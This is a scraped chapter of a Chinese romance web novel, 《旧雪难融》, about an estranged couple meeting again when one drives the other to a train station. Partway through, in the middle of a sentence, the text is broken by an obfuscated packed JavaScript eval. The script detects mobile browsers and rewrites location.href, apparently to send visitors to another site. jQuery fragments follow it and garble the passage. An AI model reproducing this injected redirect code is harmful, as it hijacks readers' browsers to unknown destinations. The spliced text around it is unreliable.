5. 「黎无回」

作品:《旧雪难融

    雪还没融,街道两旁堆着飘摇的白,被压出一道道车辙,扬起纷飞雪尘。


    邱一燃不发一言,木着脸开车从酒店接客通道驶出。


    副驾驶的黎无回双手抱臂,冷帽盖住大半张脸,没什么表情地闭目休息。


    两个人全程没有对视,没有任何交流。


    只有坐在后排的张小乐,面无表情地对着手机噼里啪啦地狂敲,按键音笃笃笃笃地充溢着车厢。


    刚刚黎无回还是答应了拼车。


    或许是因为在上车前她看到了张小乐手中拿着的杂志,也听到了张小乐说要拼车的那句话,于是她在坐上副驾驶后,看见张小乐迟迟不动,竟然主动问了句——要不要拼车?


    张小乐惊慌失措地说了声谢谢,上车坐到后排,就咬住腮帮子强逼自己控制住表情,开始噼里啪啦地敲着手机。


    一直到现在。


    她闷头敲手机,实在是因为从上车起车内就沉默得可怕。


    不是那种陌生人没话讲的那种沉默,而是一种类似于明明每个人都有话讲,但却都蛰伏着不想先开口的沉默……


    她怕要是她再不发出点动静。


    这辆车就能直接噼里啪啦地烧起来。


    关键前排这两人一个司机,一个乘客,按理说不会有这种古怪的氛围。


    但前者起步前连句确认乘客手机尾号都不问,后者上车后连句确认自己去哪儿都不说。


    那她们怎么知道自己接没接对人,坐没坐对车啊?


    更何况,黎无回怎么会到这里来?


    这可是平平无奇的茫市。


    旅游业在省内都排不上号,出了省往外说“茫市”都没人听说过,连个机场都没有到这来还得坐高铁……


    张小乐觉得不可思议。


    但她还是决定主动出击,“黎……”


    只开口吐出一个字,但先从后视镜里看过来的,却是邱一燃。


    张小乐越发觉得古怪了。


    但邱一燃很快就移开了视线,改成直视前方,突然提了一句,“是去瓷器城,对吧。”


    “对。”张小乐下意识点头。


    然而也就是在邱一燃话刚刚落下之际。


    她看见一直闭目休息的黎无回终于睁开眼,似有若无地往邱一燃那边瞥了眼。


    停了几秒。


    才望向张小乐,“有什么事吗?”


    张小乐赶紧把手中杂志往前排递过去,


    “黎老师我朋友特别喜欢你,你能帮她签个名吗?”


    “好啊。”黎无回很利落地答应了,垂眼接过杂志,


    “不过不用喊我老师,直接喊我黎无回就好了,我也从来没教过别人什么。”


    “直呼其名不太好吧。”张小乐嘟囔着。


    “有什么不太好的。”黎无回看着邱一燃,“我倒是希望所有人都能对我直呼其名。”


    红灯起步,邱一燃沉默地将车驶入车流,始终不说话。


    黎无回收回视线,翻了翻手中杂志,问张小乐,“你朋友希望签在哪一页?”


    “封面就好。”张小乐眼巴巴地看着,然后左右看了看,又匆忙往自己包里翻了翻,


    “完了,我好像没有带笔——”


    话还没说完。


    她就听见邱一燃说,“我这里有。”


    话落,邱一燃就从自己车门那边掏出支笔,沉默地递给了黎无回。


    黎无回很自然地接过,在手中转了转,眯着眼看了会,突然低声说了一句,


    “你随身带笔的习惯还是没有变。”


    邱一燃搭在方向盘上的手指颤了颤。


    张小乐不敢吭声——


    她总算知道为什么这两人从上车起氛围就那么不像普通的乘客和司机了。


    但之前她分明问过认不认识,当时邱一燃说的可是不太认识,这又是怎么回事?


    等黎无回签完名,把杂志递回来,张小乐鬼使神差地问了一句,“原来你们认识啊?”


    “不认识。”


    “认识。”


    两道声音同时响起。张小乐更糊涂了。


    然而在这之后,邱一燃动了动喉咙,黎无回若无其事地看向窗外。


    两人没有对视,没有交流。


    下一秒,却又十分自然地再一次撞到了一起——


    “她是我常客。”


    “她才是老师。”


    ……


    张小乐假装很忙地翻着杂志,“哈哈哈,都挺好的,都挺好的。”


    然后又开始噼里啪啦地敲着手机。


    邱一燃“咳”了一声,望向车后排的张小乐,强调,“是常客。”


    黎无回很自然地随后补了一句,“也算是老师。”


    “……”话已经说出口,邱一燃没办法地点头,“对。”


    黎无回轻笑出声。


    然后又回到之前闭目养神的姿势,“嗯”了声,“教开车的。”


    听到她这么说。


    邱一燃往右看了眼,目光在黎无回紧闭双眼的脸上停留几秒,默默移开了。


    却也没有反对。


    “所以你来茫市……”张小乐手中动作停下,看了眼聚精会神开车的邱一燃,又看了眼在副驾驶休息的黎无回,灵光一现,


    “是来学驾照的?”


    -


    车很快开到了瓷器城,张小乐依依不舍地下了车。


    没想到黎无回是个这么有趣的性子,后面还一本正经地跟她说了些学驾照的趣事,她还以为像那样的人,会倨傲到不可一世呢。


    她恨不得跟黎无回一块坐到高铁站去。


    下车走了两步,之前一直没回她消息的朋友甩了条视频链接过来。


    她点开。


    时代久远,视频已经变得模糊不清。但还是能看出,这是某个国外时装周某场走秀视频的截取片段,时间显示是二零一四年七月,十年前——


    场景设置在户外。


    烈日沙滩,海面波光粼粼。


    被截取的那个女人身型高挑。一边是沙砾折射红日的沙滩,另一边是如同玻璃珠子般翻动的海浪。


    她从两者之间穿梭过来。


    像某种逐渐张开枝桠的植物,枝繁叶茂。


    这是一种带着傲骨的、年轻的、坚韧的女性特质。


    张小乐下意识以为是黎无回。


    但仔细一看,根本不是,而且已经是十年前的视频了,其中女人比现在的黎无回要年轻得多。


    难道这就是那个Ian?


    Ian不是什么天才摄影师吗?怎么还有走秀的视频?


    张小乐好奇地从视频中截了张图,放大,想要看清视频中人的脸。


    然而还没等她看清。


    一张时尚周刊杂志的封面图,又被甩了过来,甚至还是她手中黎无回上的这本杂志,只不过也是十年前的刊期了——


    上面是个年轻女人。


    眉眼之间看起来青涩而剔透,眼角生着颗泪痣,年轻到鲜活而铮铮。


    封面上印着各种夸张的介绍字眼,然后是两句很显目的中文介绍——


    “我觉得我只是个偷眼看世界的人。”


    “只不过我偷来的那双眼睛,恰好能被更多人看见罢了。”


    看到这张脸后,张小乐使劲揉了揉眼睛,以为自己看错了。


    但她反复揉搓眼睛,看见的,仍然是同一个人。


    这……


    不就是那个残疾司机吗?


    -


    邱一燃开车的时候异常专注。


    永远坐姿端正,永远目视前方,也永远双手紧握方向盘。


    这大概是那次车祸带来的后遗症。


    自从再看到邱一燃之后,黎无回总是习惯性地盯着这个人看。


    坦白来说,如果她的记性能够稍微差一些,如果她不是对这张漠然的脸恨之入骨……


    恐怕如果再在路上看见邱一燃,她都没办法认出来。


    她没想过一个人在三年内相貌会变化那么大。从前的邱一燃自信张扬,拥有一种坦荡而周正的美。


    而如今,邱一燃眉眼间死气沉沉,孤独寂郁,像某种生长在冬天被折磨得痛苦不堪的植物。


    “我没想到你会再重新考驾照。”良久,黎无回先开了口。


    邱一燃像是在走神。


    沉默了许


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592126|155927||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    久才给出回应,“人总是要向前看的。”


    黎无回笑了,“你倒是比我想得开。”


    邱一燃不说话了。


    车外车辆如同潮水。


    车灯变成被拍打上岸的浮游生物,映得两人的脸庞明明灭灭。


    黎无回盯着被水汽濡湿的朦胧车窗,声音很轻,以至于听起来像是呢喃,


    “你当初走之前怎么就不把这件事也教教我呢?”


    但邱一燃还是听见了。


    她很希望这段去到高铁站的旅程能快一点。她静了两秒,突然想起黎无回之前说的话,便出了声,


    “我不算你的老师,教不了你。”


    “不算吗?”


    黎无回回过头来,目光似捕捉飞行生物的滤网,轻轻刮过她单薄的侧脸,


    “那可能是我记错了。”


    “我以为除了开车以外,你当时也还教过我做很多其他事。”


    “黎无回。”


    邱一燃打断了她。


    但她不知道自己是以什么心情再喊出这个名字。


    她阖了下眼,睫毛微微颤抖着,“现在再提起那些事根本没有任何意义……”


    “我说了让你别喊我黎无回。”黎无回的声音瞬间冷了下来。


    邱一燃又不说话了。


    只是有那么一秒钟游离,好像有话要说,但最后又没有说,艰难而无力地吐出一口白气,模糊了脸上的情绪。


    她好像很痛苦,因为她的存在。


    黎无回以为自己会很愿意去欣赏邱一燃痛苦的脸,但这一刻她还是移开了目光,或许是出于不忍,或许又是出于怒其不争。


    良久,邱一燃才很艰难地开口,“况且那些事情也不算什么。”


    “你说不算就不算吧。”


    黎无回看向邱一燃手中紧握的方向盘,轻着声音说,“反正我现在也都忘得一干二净了。”


    后续车上都没有人再说话,静得仿佛连呼吸都是从对方肺里抢夺过来的。


    直到车快要开到终点。


    邱一燃把车停下来,看着窗外白茫茫的一片,等了会,都没等到黎无回下车。


    于是她不得不再次看向驾驶座上的女人——


    黎无回好像又睡着了。


    光影如融化的太阳被行星引力拖得陷落,又像海洋,静谧而宽广地裹住整个车厢。


    副驾驶上的女人紧闭双眼,即便被灰色冷帽中的糟乱卷发遮住大半张脸。


    也仍能看得出脸色是没休息好的倦态,皮肤白得像是被太阳回避的人,连唇色都是不太明显的红。


    “黎无回。”


    邱一燃轻轻出声。


    其实她也不知道为什么黎无回如此反感她喊这个名字。


    可是如今,她却只能喊得出这个名字。


    仿佛她根本不愿意如黎无回的愿,只愿意做黎无回最反感她做的事情。


    很多时候她不明白她们为什么会变成这样。曾经她觉得她们之间无论如何都不该有怨恨。


    或许究其根本是当初她们爱得不够,才会被很小的一件事击败。


    黎无回没有睁眼。


    也没有要醒来的趋势。


    邱一燃犹豫间伸出了手,想要去推醒黎无回。


    但鬼使神差地,她看到黎无回脸上粘着的一根睫毛。


    就在眼皮上。


    触手可及的距离。


    她先是强迫自己避开了视线。


    停了两秒。


    却又忍不住再次看过去——


    “邱一燃。”


    就在这个时候,黎无回突然出声打断她。


    邱一燃的手指迅速蜷缩了回去。


    恍惚间她用力碾磨指腹。


    再装作她的慌神从未发生,侧头去看黎无回。


    不知为何她看着这样的黎无回忽然有一阵心悸。“什么?”


    “你知道吗?”


    黎无回正靠在车枕上,侧脸上落满的暖黄车灯忽明忽暗,格外粘稠。


    她仰起脸,睁开眼,定定注视着远处建筑上大片的白。


    声音被风声揉得很模糊,


    “今天巴黎下雪了。”